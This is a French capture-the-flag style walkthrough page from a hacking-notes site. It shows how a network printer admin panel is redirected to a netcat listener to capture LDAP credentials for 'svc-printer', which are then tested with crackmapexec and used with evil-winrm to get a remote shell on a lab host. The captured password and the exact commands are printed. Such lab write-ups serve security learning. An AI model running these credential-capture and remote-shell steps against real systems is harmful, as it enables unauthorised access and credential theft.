> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/network-admin-panel-cms-exploitation.md).

# Panneau d’administration réseau

<figure><img src="/files/a9c5ff2121698142545b141dfeb5c46c32771921" alt=""><figcaption></figcaption></figure>

Les paramètres du port 80 révèlent une configuration de serveur pointant vers `print.return.local` sur le port 389.

<figure><img src="/files/1ebc0456eb8913aaaa2ab2ca9435c6f8a6ffedfe" alt=""><figcaption></figcaption></figure>

**À l'écoute sur le port 389**/ Emplacement `netcat` en mode écoute sur le port 389 :

```bash
nc -nlvp 389
```

* Une connexion est reçue, révélant les identifiants pour `svc-printer` avec le mot de passe `1edFg43012!!`.

<figure><img src="/files/7992959ba37611200bc60d0c1e110cf37be091ea" alt="" width="542"><figcaption></figcaption></figure>

**Validation des identifiants avec WinRM**

Avec le port WinRM 5985 ouvert, validez les identifiants avec `crackmapexec`:

```bash
crackmapexec winrm 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
```

* Le `compromis` la réponse confirme des identifiants valides.

<figure><img src="/files/ffbeda9ce60f7914bdb0a1a7d36ade864f004a14" alt=""><figcaption></figcaption></figure>

**Connexion Evil-WinRM**

Utilisez `evil-winrm` pour obtenir un shell en tant que `svc-printer`:

<pre class="language-bash"><code class="lang-bash"><strong>evil-winrm -i 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
</strong></code></pre>

<figure><img src="/files/5e4595582e7f8f0ef614b07d42e450a776d4087c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/cms/network-admin-panel-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
